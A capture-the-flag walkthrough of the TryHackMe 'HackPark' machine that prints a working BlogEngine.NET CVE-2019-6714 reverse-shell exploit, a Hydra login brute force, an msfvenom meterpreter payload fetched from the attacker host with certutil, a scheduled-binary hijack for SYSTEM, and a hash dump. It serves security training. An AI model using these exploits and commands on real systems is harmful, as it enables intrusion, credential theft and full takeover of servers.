HackPark – TryHackMe Link to heading

  • OS: Windows
  • Difficulty: Medium
  • Platform: TryHackMe

THM logo


Summary Link to heading

“HackPark” is a Medium machine from TryHackMe platform. We find that the victim server is running a web server machine using BlogEngine.NET. We find a login panel for this tool. We attempt through bruteforce with Hydra to find the password for admin user, until we finally reach one. After this discover, we see that the server is running a vulnerable BlogEngine.NET version to CVE-2019-6714. This allow us to upload a file, execute commands in the victim machine and gain access to it. Once inside, we find that there is a file being constantly executed by Administrator user. But this file has writing permissions on it. Thus, we replace it by a malicious payload, get a shell as system user and compromise the machine.


Note
We will focus on how to solve this machine using Metasploit as a Command & Control.

User Link to heading

We start with a quick Nmap scan against the victim machine:

❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.10.8.238

Where we can only see 2 ports open: 80 HTTP with Microsoft IIS and 3389 Microsoft RDP. We apply some recognition scans over these ports using -sVC flag, where we also use -Pn flag to avoid other problems:

❯ sudo nmap -sVC -Pn -p80,3389 10.10.8.238

Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-11 12:24 -04
Nmap scan report for 10.10.8.238
Host is up (0.23s latency).

PORT     STATE SERVICE       VERSION
80/tcp   open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| http-robots.txt: 6 disallowed entries
| /Account/*.* /search /search.aspx /error404.aspx
|_/archive /archive.aspx
|_http-server-header: Microsoft-IIS/8.5
|_http-title: hackpark | hackpark amusements
| http-methods:
|_  Potentially risky methods: TRACE
3389/tcp open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2025-06-11T16:24:30+00:00; +2s from scanner time.
| rdp-ntlm-info:
|   Target_Name: HACKPARK
|   NetBIOS_Domain_Name: HACKPARK
|   NetBIOS_Computer_Name: HACKPARK
|   DNS_Domain_Name: hackpark
|   DNS_Computer_Name: hackpark
|   Product_Version: 6.3.9600
|_  System_Time: 2025-06-11T16:24:25+00:00
| ssl-cert: Subject: commonName=hackpark
| Not valid before: 2025-06-10T16:20:16
|_Not valid after:  2025-12-10T16:20:16
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 1s, deviation: 0s, median: 1s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.67 seconds

Using WhatWeb against the web server just confirms that it is running Microsoft IIS with version 8.5:

❯ whatweb -a 3 http://10.10.8.238

http://10.10.8.238 [200 OK] ASP_NET, Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[Microsoft-IIS/8.5], IP[10.10.8.238], JQuery[1.9.1], Meta-Author[My name], Microsoft-IIS[8.5], OpenSearch[http://10.10.8.238/opensearch.axd], Script[application/ld+json,text/javascript], Title[hackpark | hackpark amusements][Title element contains newline(s)!], UncommonHeaders[content-style-type,content-script-type], X-Powered-By[ASP.NET], X-UA-Compatible[IE=edge]

Visiting the main webpage (http://10.10.8.238 in my case) shows the image of Pennywise, the evil clown from It movie:

HackPark 1

At the very bottom of the webpage we can also see a message:

HackPark 2

Designed by BlogEngine

Searching information for this tool we find a software called BlogEngine.NET:

Info
BlogEngine.NET is a free, open-source blogging platform built on the Microsoft .NET|ASP.NET framework. It’s similar to a Content Management System.

The blog only shows 1 post with no useful information on it, just a user called Visitor1. As we can see at BlogEngine.NET’s main webpage, default credentials are admin:admin. Also, the author of the only post is Admin. So Admin user should exist. As is explained in the same webpage, we should have access to an /admin directory that should present a login panel. Visiting then http://10.10.8.238/admin/ redirects to:

http://10.10.8.238/Account/login.aspx?ReturnURL=/admin/

Where we can see a login panel:

HackPark 3

admin:admin credentials don’t work here, as we get the message Login failed when we put these credentials:

HackPark 4

Then, we can attempt a Brute Force Password Login using Hydra. First of all, start Burpsuite and intercept the request sent when we attempt to log in as admin user and any password. We get the POST request:

HackPark 9

POST /Account/login.aspx?ReturnURL=%2fadmin%2f HTTP/1.1
Host: 10.10.8.238
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 745
Origin: http://10.10.8.238
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Referer: http://10.10.8.238/Account/login.aspx?ReturnURL=%2fadmin%2f
Upgrade-Insecure-Requests: 1
Priority: u=0, i

__VIEWSTATE=5n08psv6Tv5Vy4mfxqcVXKwaK6TpsFE7Y0XcdFrpzU8ooDjLQ2NFwrytdnTedpUSk7ZO%2BOobFxISDyDOSn6Sc6wJ4Q8UOni01QVZWuhvfpTSLOMYp%2BreBPjlETJEBdUiDAJItM3Fj1WWb7qNRFYV6CYKYzhmpUvQiiLWd8CVfdzfXP9EfUnGUsusHEsx6gjOSqeyduRCAft8DlOExR9RZZp9Kc18f5fx2XHE1AubomK23zaaJMUMuIeF64TaO%2BqAKhguYFjqCEfPToFAmDlZVDk9TbynKx%2FSf2HU1aFlULZZxafzWXb7upi2viPCXrrpSf5Zb%2FK3ShSTvxhfHnjyNZgEzU%2BCWRFfe4cX80b%2BkSgcQcum&__EVENTVALIDATION=xjcUlXsRu5dIdsygcmzbG5jIslV3SB24%2Fws1tfbIgSLEHqW9%2BSfpFocx0pFJFqcS1iCFPyK2WLlv4s1wgZlwfnp4ehNl5jcv6D0lhJCbUlLwOn26i9DyQtYXnbd0vZmNrw70EwJrgC2%2F5u8gVB9AlcMPJeIwHny3WP4oEb9QE6T40CPF&ctl00%24MainContent%24LoginUser%24UserName=admin&ctl00%24MainContent%24LoginUser%24Password=test&ctl00%24MainContent%24LoginUser%24LoginButton=Log+in

Therefore, adapt this request to Hydra to make POST request to the server using password from rockyou.txt dictionary:

❯ hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.8.238 http-post-form "/Account/login.aspx?ReturnURL=%2fadmin%2f:__VIEWSTATE=5n08psv6Tv5Vy4mfxqcVXKwaK6TpsFE7Y0XcdFrpzU8ooDjLQ2NFwrytdnTedpUSk7ZO%2BOobFxISDyDOSn6Sc6wJ4Q8UOni01QVZWuhvfpTSLOMYp%2BreBPjlETJEBdUiDAJItM3Fj1WWb7qNRFYV6CYKYzhmpUvQiiLWd8CVfdzfXP9EfUnGUsusHEsx6gjOSqeyduRCAft8DlOExR9RZZp9Kc18f5fx2XHE1AubomK23zaaJMUMuIeF64TaO%2BqAKhguYFjqCEfPToFAmDlZVDk9TbynKx%2FSf2HU1aFlULZZxafzWXb7upi2viPCXrrpSf5Zb%2FK3ShSTvxhfHnjyNZgEzU%2BCWRFfe4cX80b%2BkSgcQcum&__EVENTVALIDATION=xjcUlXsRu5dIdsygcmzbG5jIslV3SB24%2Fws1tfbIgSLEHqW9%2BSfpFocx0pFJFqcS1iCFPyK2WLlv4s1wgZlwfnp4ehNl5jcv6D0lhJCbUlLwOn26i9DyQtYXnbd0vZmNrw70EwJrgC2%2F5u8gVB9AlcMPJeIwHny3WP4oEb9QE6T40CPF&ctl00%24MainContent%24LoginUser%24UserName=^USER^&ctl00%24MainContent%24LoginUser%24Password=^PASS^&ctl00%24MainContent%24LoginUser%24LoginButton=Log+in:Login failed" -V -f -t 40

<SNIP>
[ATTEMPT] target 10.10.8.238 - login "admin" - pass "nintendo" - 1487 of 14344399 [child 9] (0/0)
[ATTEMPT] target 10.10.8.238 - login "admin" - pass "marlene" - 1488 of 14344399 [child 7] (0/0)
[ATTEMPT] target 10.10.8.238 - login "admin" - pass "234567" - 1489 of 14344399 [child 33] (0/0)
[ATTEMPT] target 10.10.8.238 - login "admin" - pass "shasha" - 1490 of 14344399 [child 30] (0/0)
[ATTEMPT] target 10.10.8.238 - login "admin" - pass "snowflake" - 1491 of 14344399 [child 11] (0/0)
[80][http-post-form] host: 10.10.8.238   login: admin   password: 1qaz2wsx
[STATUS] attack finished for 10.10.8.238 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-06-11 13:23:54

We got credentials: admin:1qaz2wsx. We then use these credentials at the login panel and we are in:

HackPark 5

If we click on About option at the left side, we can see the version for BlogEngine.NET tool:

HackPark 6

We have a version: 3.3.6.0.

Searching for exploits with SearchSploit for blogengine we find:

❯ searchsploit blogengine

--------------------------------------------- ---------------------------------
 Exploit Title                               |  Path
--------------------------------------------- ---------------------------------
BlogEngine 3.3 - 'syndication.axd' XML Exter | xml/webapps/48422.txt
BlogEngine 3.3 - XML External Entity Injecti | windows/webapps/46106.txt
BlogEngine 3.3.8 - 'Content' Stored XSS      | aspx/webapps/48999.txt
BlogEngine.NET 1.4 - 'search.aspx' Cross-Sit | asp/webapps/32874.txt
BlogEngine.NET 1.6 - Directory Traversal / I | asp/webapps/35168.txt
BlogEngine.NET 3.3.6 - Directory Traversal / | aspx/webapps/46353.cs
BlogEngine.NET 3.3.6/3.3.7 - 'dirPath' Direc | aspx/webapps/47010.py
BlogEngine.NET 3.3.6/3.3.7 - 'path' Director | aspx/webapps/47035.py
BlogEngine.NET 3.3.6/3.3.7 - 'theme Cookie'  | aspx/webapps/47011.py
BlogEngine.NET 3.3.6/3.3.7 - XML External En | aspx/webapps/47014.py
--------------------------------------------- ---------------------------------
Shellcodes: No Results

There is a Directory Traversal / Remote Execution exploit for in C# with ID 46353, which can also be grabbed from exploit-db from this link. This is a Proof of Concept (PoC) for a vulnerability labeled as CVE-2019-6714.

Then, grab a copy of this exploit with SearchSploit:

❯ searchsploit -m 46353

  Exploit: BlogEngine.NET 3.3.6 - Directory Traversal / Remote Code Execution
      URL: https://www.exploit-db.com/exploits/46353
     Path: /usr/share/exploitdb/exploits/aspx/webapps/46353.cs
    Codes: CVE-2019-6714
 Verified: True
File Type: HTML document, ASCII text
Copied to: /home/gunzf0x/OtherMachines/TryHackMe/Machines/HackPark/exploits/46353.cs

The file is just a set of instructions to send a payload:

# Exploit Title: BlogEngine.NET <= 3.3.6 Directory Traversal RCE
# Date: 02-11-2019
# Exploit Author: Dustin Cobb
# Vendor Homepage: https://github.com/rxtur/BlogEngine.NET/
# Software Link: https://github.com/rxtur/BlogEngine.NET/releases/download/v3.3.6.0/3360.zip
# Version: <= 3.3.6
# Tested on: Windows 2016 Standard / IIS 10.0
# CVE : CVE-2019-6714

/*
 * CVE-2019-6714
 *
 * Path traversal vulnerability leading to remote code execution.  This
 * vulnerability affects BlogEngine.NET versions 3.3.6 and below.  This
 * is caused by an unchecked "theme" parameter that is used to override
 * the default theme for rendering blog pages.  The vulnerable code can
 * be seen in this file:
 *
 * /Custom/Controls/PostList.ascx.cs
 *
 * Attack:
 *
 * First, we set the TcpClient address and port within the method below to
 * our attack host, who has a reverse tcp listener waiting for a connection.
 * Next, we upload this file through the file manager.  In the current (3.3.6)
 * version of BlogEngine, this is done by editing a post and clicking on the
 * icon that looks like an open file in the toolbar.  Note that this file must
 * be uploaded as PostView.ascx. Once uploaded, the file will be in the
 * /App_Data/files directory off of the document root. The admin page that
 * allows upload is:
 *
 * http://10.10.10.10/admin/app/editor/editpost.cshtml
 *
 *
 * Finally, the vulnerability is triggered by accessing the base URL for the
 * blog with a theme override specified like so:
 *
 * http://10.10.10.10/?theme=../../App_Data/files
 *
 */

<%@ Control Language="C#" AutoEventWireup="true" EnableViewState="false" Inherits="BlogEngine.Core.Web.Controls.PostViewBase" %>
<%@ Import Namespace="BlogEngine.Core" %>

<script runat="server">
	static System.IO.StreamWriter streamWriter;

    protected override void OnLoad(EventArgs e) {
        base.OnLoad(e);

	using(System.Net.Sockets.TcpClient client = new System.Net.Sockets.TcpClient("10.10.10.20", 4445)) {
		using(System.IO.Stream stream = client.GetStream()) {
			using(System.IO.StreamReader rdr = new System.IO.StreamReader(stream)) {
				streamWriter = new System.IO.StreamWriter(stream);

				StringBuilder strInput = new StringBuilder();

				System.Diagnostics.Process p = new System.Diagnostics.Process();
				p.StartInfo.FileName = "cmd.exe";
				p.StartInfo.CreateNoWindow = true;
				p.StartInfo.UseShellExecute = false;
				p.StartInfo.RedirectStandardOutput = true;
				p.StartInfo.RedirectStandardInput = true;
				p.StartInfo.RedirectStandardError = true;
				p.OutputDataReceived += new System.Diagnostics.DataReceivedEventHandler(CmdOutputDataHandler);
				p.Start();
				p.BeginOutputReadLine();

				while(true) {
					strInput.Append(rdr.ReadLine());
					p.StandardInput.WriteLine(strInput);
					strInput.Remove(0, strInput.Length);
				}
			}
		}
    	}
    }

    private static void CmdOutputDataHandler(object sendingProcess, System.Diagnostics.DataReceivedEventArgs outLine) {
   	StringBuilder strOutput = new StringBuilder();

       	if (!String.IsNullOrEmpty(outLine.Data)) {
       		try {
                	strOutput.Append(outLine.Data);
                    	streamWriter.WriteLine(strOutput);
                    	streamWriter.Flush();
                } catch (Exception err) { }
        }
    }

</script>
<asp:PlaceHolder ID="phContent" runat="server" EnableViewState="false"></asp:PlaceHolder>

The file gives instructions about how to exploit this vulnerability.

As the file exploit says, create a file with name PostView.acsx with the content:

<%@ Control Language="C#" AutoEventWireup="true" EnableViewState="false" Inherits="BlogEngine.Core.Web.Controls.PostViewBase" %>
<%@ Import Namespace="BlogEngine.Core" %>

<script runat="server">
	static System.IO.StreamWriter streamWriter;

    protected override void OnLoad(EventArgs e) {
        base.OnLoad(e);

	using(System.Net.Sockets.TcpClient client = new System.Net.Sockets.TcpClient("10.10.10.20", 4445)) {
		using(System.IO.Stream stream = client.GetStream()) {
			using(System.IO.StreamReader rdr = new System.IO.StreamReader(stream)) {
				streamWriter = new System.IO.StreamWriter(stream);

				StringBuilder strInput = new StringBuilder();

				System.Diagnostics.Process p = new System.Diagnostics.Process();
				p.StartInfo.FileName = "cmd.exe";
				p.StartInfo.CreateNoWindow = true;
				p.StartInfo.UseShellExecute = false;
				p.StartInfo.RedirectStandardOutput = true;
				p.StartInfo.RedirectStandardInput = true;
				p.StartInfo.RedirectStandardError = true;
				p.OutputDataReceived += new System.Diagnostics.DataReceivedEventHandler(CmdOutputDataHandler);
				p.Start();
				p.BeginOutputReadLine();

				while(true) {
					strInput.Append(rdr.ReadLine());
					p.StandardInput.WriteLine(strInput);
					strInput.Remove(0, strInput.Length);
				}
			}
		}
    	}
    }

    private static void CmdOutputDataHandler(object sendingProcess, System.Diagnostics.DataReceivedEventArgs outLine) {
   	StringBuilder strOutput = new StringBuilder();

       	if (!String.IsNullOrEmpty(outLine.Data)) {
       		try {
                	strOutput.Append(outLine.Data);
                    	streamWriter.WriteLine(strOutput);
                    	streamWriter.Flush();
                } catch (Exception err) { }
        }
    }

</script>
<asp:PlaceHolder ID="phContent" runat="server" EnableViewState="false"></asp:PlaceHolder>

where, from the original payload, we change the IP address and listening port from:

using(System.Net.Sockets.TcpClient client = new System.Net.Sockets.TcpClient("10.10.10.20", 4445)) {

to:

using(System.Net.Sockets.TcpClient client = new System.Net.Sockets.TcpClient("10.14.104.16", 443)) {

Where 10.14.104.16 is our attacker IP address and 443 is the port we will start a listener with netcat.

Then, also as the exploit says, we need to edit a post. Go to Content tab, then Posts and click on the only post available. Then, click on the icon folder:

HackPark 7

Then, click on Upload and upload the previously generated PostView.ascx file:

HackPark 8

Once uploaded, click on Save on the post.

Start a listener with netcat along with rlwrap (rlwrap allow us to use arrows and clear the shell when we rreceive one, but does not allow to use Ctrl+C):

❯ rlwrap nc -lvnp 443

listening on [any] 443 ...

Then, just as the page says, in the same session within BlogEngine.NET, we visit:

http://10.10.8.238/?theme=../../App_Data/files

and we get a shell in our netcat listener as blog user:

❯ rlwrap nc -lvnp 443

listening on [any] 443 ...
connect to [10.14.104.16] from (UNKNOWN) [10.10.8.238] 49374
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
whoami
c:\windows\system32\inetsrv>whoami

iis apppool\blog

Since this session is not stable, we can create a payload using msfvenom for Metasploit. First, check the system version with systeminfo command:

c:\windows\system32\inetsrv>systeminfo

Host Name:                 HACKPARK
OS Name:                   Microsoft Windows Server 2012 R2 Standard
OS Version:                6.3.9600 N/A Build 9600
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Server
OS Build Type:             Multiprocessor Free
Registered Owner:          Windows User
Registered Organization:
Product ID:                00252-70000-00000-AA886
Original Install Date:     8/3/2019, 10:43:23 AM
System Boot Time:          6/11/2025, 9:19:22 AM
System Manufacturer:       Xen
System Model:              HVM domU
System Type:               x64-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: Intel64 Family 6 Model 79 Stepping 1 GenuineIntel ~2300 Mhz
BIOS Version:              Xen 4.11.amazon, 8/24/2006
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:             en-us;English (United States)
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC-08:00) Pacific Time (US & Canada)
Total Physical Memory:     4,096 MB
Available Physical Memory: 3,054 MB
Virtual Memory: Max Size:  5,504 MB
Virtual Memory: Available: 4,353 MB
Virtual Memory: In Use:    1,151 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    WORKGROUP
Logon Server:              N/A
Hotfix(s):                 8 Hotfix(s) Installed.
                           [01]: KB2919355
                           [02]: KB2919442
                           [03]: KB2937220
                           [04]: KB2938772
                           [05]: KB2939471
                           [06]: KB2949621
                           [07]: KB3035131
                           [08]: KB3060716
Network Card(s):           1 NIC(s) Installed.
                           [01]: AWS PV Network Device
                                 Connection Name: Ethernet 2
                                 DHCP Enabled:    Yes
                                 DHCP Server:     10.10.0.1
                                 IP address(es)
                                 [01]: 10.10.8.238
                                 [02]: fe80::7c01:da18:1230:6d9b
Hyper-V Requirements:      A hypervisor has been detected. Features required for Hyper-V will not be displayed.

It is running a Windows 2012 Server.

Then, generate a payload in our attacker machine called meterpshell.exe with msfvenom:

❯ msfvenom -p windows/meterpreter/reverse_tcp -a x86 LHOST=10.14.104.16 LPORT=443 -f exe -o meterpshell.exe

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
Saved as: meterpshell.exe

In another terminal, start a Metasploit session with msfconsole:

❯ msfconsole

<SNIP>
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.14.104.16
LHOST => 10.14.104.16
msf6 exploit(multi/handler) > set LPORT 443
LPORT => 443
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.14.104.16:443

Then, we need to pass the generated meterpshell.exe file to the victim machine. For this purpose we can expose the generated .exe file in a temporal HTTP Python server on port 8000:

❯ ls -la && python3 -m http.server 8000

total 92
drwxrwxr-x 2 gunzf0x gunzf0x  4096 Jun 11 15:09 .
drwxrwxr-x 5 gunzf0x gunzf0x  4096 Jun 11 12:21 ..
-rw-r--r-- 1 gunzf0x gunzf0x  3398 Jun 11 14:33 46353.cs
-rw-rw-r-- 1 gunzf0x gunzf0x 73802 Jun 11 15:09 meterpshell.exe
-rw-rw-r-- 1 gunzf0x gunzf0x  1844 Jun 11 14:38 PostView.ascx
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

and, in the victim machine, use certutil to download the file from our temporal server to the victim machine:

c:\windows\system32\inetsrv>certutil.exe -urlcache -split -f http://10.14.104.16:8000/meterpshell.exe C:\Users\Public\Downloads\meterpshell.exe

****  Online  ****
  000000  ...
  01204a
CertUtil: -URLCache command completed successfully.

Finally, in the victim machine, execute the transferred .exe file:

c:\windows\system32\inetsrv> C:\Users\Public\Downloads\meterpshell.exe

and in our listener with Metasploit (msfconsole) we get a connection:

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.14.104.16:443
[*] Sending stage (177734 bytes) to 10.10.8.238
[*] Meterpreter session 1 opened (10.14.104.16:443 -> 10.10.8.238:49407) at 2025-06-11 15:20:12 -0400

meterpreter >

If we use the command ps we can see running processes:

meterpreter > ps

Process List
============

 PID   PPID  Name                  Arch  Session  User              Path
 ---   ----  ----                  ----  -------  ----              ----
 0     0     [System Process]
 4     0     System
 360   676   svchost.exe
 372   4     smss.exe
 524   516   csrss.exe
 584   576   csrss.exe
 592   516   wininit.exe
 620   576   winlogon.exe
 676   592   services.exe
 684   592   lsass.exe
 744   676   svchost.exe
 788   676   svchost.exe
 868   620   dwm.exe
 876   676   svchost.exe
 908   676   svchost.exe
 968   676   svchost.exe
 1020  676   svchost.exe
 1136  2420  Message.exe
 1148  676   spoolsv.exe
 1188  676   amazon-ssm-agent.exe
 1220  676   msdtc.exe
 1252  676   svchost.exe
 1272  676   LiteAgent.exe
 1308  1392  w3wp.exe              x64   0        IIS APPPOOL\Blog  C:\Windows\System32\inetsrv\w3wp.exe
 1372  676   svchost.exe
 1392  676   svchost.exe
 1420  676   WService.exe
 1496  1308  cmd.exe               x64   0        IIS APPPOOL\Blog  C:\Windows\System32\cmd.exe
 1548  1420  WScheduler.exe
 1648  676   Ec2Config.exe
 1784  744   WmiPrvSE.exe
 1920  676   svchost.exe
 2164  1496  conhost.exe           x64   0        IIS APPPOOL\Blog  C:\Windows\System32\conhost.exe
 2420  3040  WScheduler.exe
 2500  908   taskhostex.exe
 2580  2564  explorer.exe
 2848  1496  meterpshell.exe       x86   0        IIS APPPOOL\Blog  C:\Users\Public\Downloads\meterpshell.exe
 2988  2524  ServerManager.exe

Where WScheduler.exe seems interesting, since it’s used to schedule tasks in the system.

If we check C:\Program Files (x86) directory we have some programs running:

meterpreter > cd "C:\Program Files (x86)"

meterpreter > ls

Listing: C:\Program Files (x86)
===============================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
040777/rwxrwxrwx  0     dir   2013-08-22 11:39:30 -0400  Common Files
040777/rwxrwxrwx  4096  dir   2014-03-21 16:07:01 -0300  Internet Explorer
040777/rwxrwxrwx  0     dir   2013-08-22 11:39:30 -0400  Microsoft.NET
040777/rwxrwxrwx  8192  dir   2019-08-04 07:37:02 -0400  SystemScheduler
040777/rwxrwxrwx  0     dir   2019-08-06 17:12:04 -0400  Uninstall Information
040777/rwxrwxrwx  0     dir   2013-08-22 11:39:33 -0400  Windows Mail
040777/rwxrwxrwx  0     dir   2013-08-22 11:39:30 -0400  Windows NT
040777/rwxrwxrwx  0     dir   2013-08-22 11:39:30 -0400  WindowsPowerShell
100666/rw-rw-rw-  174   fil   2013-08-22 11:37:57 -0400  desktop.ini

We have SystemScheduler installed, whose process is also known as WindowsScheduler. This process was running as we saw previously.

We can check folders for this service:

meterpreter > ls

Listing: C:\Program Files (x86)\SystemScheduler
===============================================

Mode              Size     Type  Last modified              Name
----              ----     ----  -------------              ----
040777/rwxrwxrwx  4096     dir   2025-06-11 15:35:33 -0400  Events
100666/rw-rw-rw-  60       fil   2019-08-04 07:36:42 -0400  Forum.url
100666/rw-rw-rw-  9813     fil   2004-11-16 04:16:34 -0300  License.txt
100666/rw-rw-rw-  1496     fil   2025-06-11 12:20:06 -0400  LogFile.txt
<SNIP>
100666/rw-rw-rw-  2026     fil   2006-05-16 18:58:18 -0400  WScheduler.cnt
100777/rwxrwxrwx  331168   fil   2018-03-25 14:58:52 -0300  WScheduler.exe
100777/rwxrwxrwx  98720    fil   2018-03-25 14:58:54 -0300  WService.exe
100666/rw-rw-rw-  54       fil   2019-08-04 07:36:42 -0400  Website.url
100777/rwxrwxrwx  76704    fil   2018-03-25 14:58:58 -0300  WhoAmI.exe

We can see some log files at Events folder:

meterpreter > cd Events

meterpreter > ls

Listing: C:\Program Files (x86)\SystemScheduler\Events
======================================================

Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
100666/rw-rw-rw-  1927   fil   2025-06-11 15:37:33 -0400  20198415519.INI
100666/rw-rw-rw-  43991  fil   2025-06-11 15:37:33 -0400  20198415519.INI_LOG.txt
100666/rw-rw-rw-  290    fil   2020-10-02 18:50:12 -0300  2020102145012.INI
100666/rw-rw-rw-  186    fil   2025-06-11 15:36:17 -0400  Administrator.flg
100666/rw-rw-rw-  182    fil   2025-06-11 15:36:15 -0400  SYSTEM_svc.flg
100666/rw-rw-rw-  0      fil   2025-06-11 12:20:38 -0400  Scheduler.flg
100666/rw-rw-rw-  449    fil   2025-06-11 15:36:17 -0400  SessionInfo.flg
100666/rw-rw-rw-  0      fil   2025-06-11 15:36:34 -0400  service.flg

Reading this file shows:

meterpreter > cat 20198415519.INI_LOG.txt

08/04/19 15:06:01,Event Started Ok, (Administrator)
08/04/19 15:06:30,Process Ended. PID:2608,ExitCode:1,Message.exe (Administrator)
08/04/19 15:07:00,Event Started Ok, (Administrator)
08/04/19 15:07:34,Process Ended. PID:2680,ExitCode:4,Message.exe (Administrator)
08/04/19 15:08:00,Event Started Ok, (Administrator)
08/04/19 15:08:33,Process Ended. PID:2768,ExitCode:4,Message.exe (Administrator)
08/04/19 15:09:00,Event Started Ok, (Administrator)
08/04/19 15:09:34,Process Ended. PID:3024,ExitCode:4,Message.exe (Administrator)
<SNIP>

Apparently, Administrator user is executing a file called Message.exe.

Message.exe file is at C:\Program Files(x86)\SystemScheduler folder:

meterpreter > cd ..

meterpreter > ls

Listing: C:\Program Files (x86)\SystemScheduler
===============================================

Mode              Size     Type  Last modified              Name
----              ----     ----  -------------              ----
040777/rwxrwxrwx  4096     dir   2025-06-11 15:43:33 -0400  Events
100666/rw-rw-rw-  60       fil   2019-08-04 07:36:42 -0400  Forum.url
100666/rw-rw-rw-  9813     fil   2004-11-16 04:16:34 -0300  License.txt
100666/rw-rw-rw-  1496     fil   2025-06-11 12:20:06 -0400  LogFile.txt
100666/rw-rw-rw-  3760     fil   2025-06-11 12:20:38 -0400  LogfileAdvanced.txt
100777/rwxrwxrwx  536992   fil   2018-03-25 14:58:56 -0300  Message.exe
<SNIP>

and, as we can see, we have writing permissions over it rwxrwxrwx.

Create a copy of the original Message.exe file:

meterpreter > cp Message.exe Message_backup.exe

If we try to upload the file with Metasploit we get an error:

meterpreter > upload /home/gunzf0x/OtherMachines/TryHackMe/Machines/HackPark/exploits/meterpshell.exe Message.exe

[*] Uploading  : /home/gunzf0x/OtherMachines/TryHackMe/Machines/HackPark/exploits/meterpshell.exe -> Message.exe
[-] core_channel_open: Operation failed: The process cannot access the file because it is being used by another process.

Thus, we pass to a CMD session with shell command and use certutil to upload the meterpshell.exe file:

meterpreter > shell

Process 2248 created.
Channel 5 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Program Files (x86)\SystemScheduler>certutil.exe -urlcache -split -f http://10.14.104.16:8000/meterpshell.exe .\Message.exe

certutil.exe -urlcache -split -f http://10.14.104.16:8000/meterpshell.exe .\Message.exe
****  Online  ****
  000000  ...
  01204a
CertUtil: -URLCache command completed successfully.

Set at the background the current session with bg command and start a new listener with run command:

C:\Program Files (x86)\SystemScheduler>exit
exit

meterpreter > bg
[*] Backgrounding session 1...

msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.14.104.16:443

After some time we get a new session:

msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.14.104.16:443
[*] Sending stage (177734 bytes) to 10.10.8.238
[*] Meterpreter session 2 opened (10.14.104.16:443 -> 10.10.8.238:49444) at 2025-06-11 15:54:06 -0400

meterpreter >

This is a privileged user since we can dump hashes in the system:

meterpreter > hashdump

Administrator:500:aad3b435b51404eeaad3b435b51404ee:3352c0731470aabf133e0c84276adcba:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
jeff:1001:aad3b435b51404eeaad3b435b51404ee:e7dd0bd78b1d5d7eea4ee746816e2377:::

We can grab the user.txt flag at jeff’s desktop and root.txt at Administrator’s Desktop.

~Happy Hacking.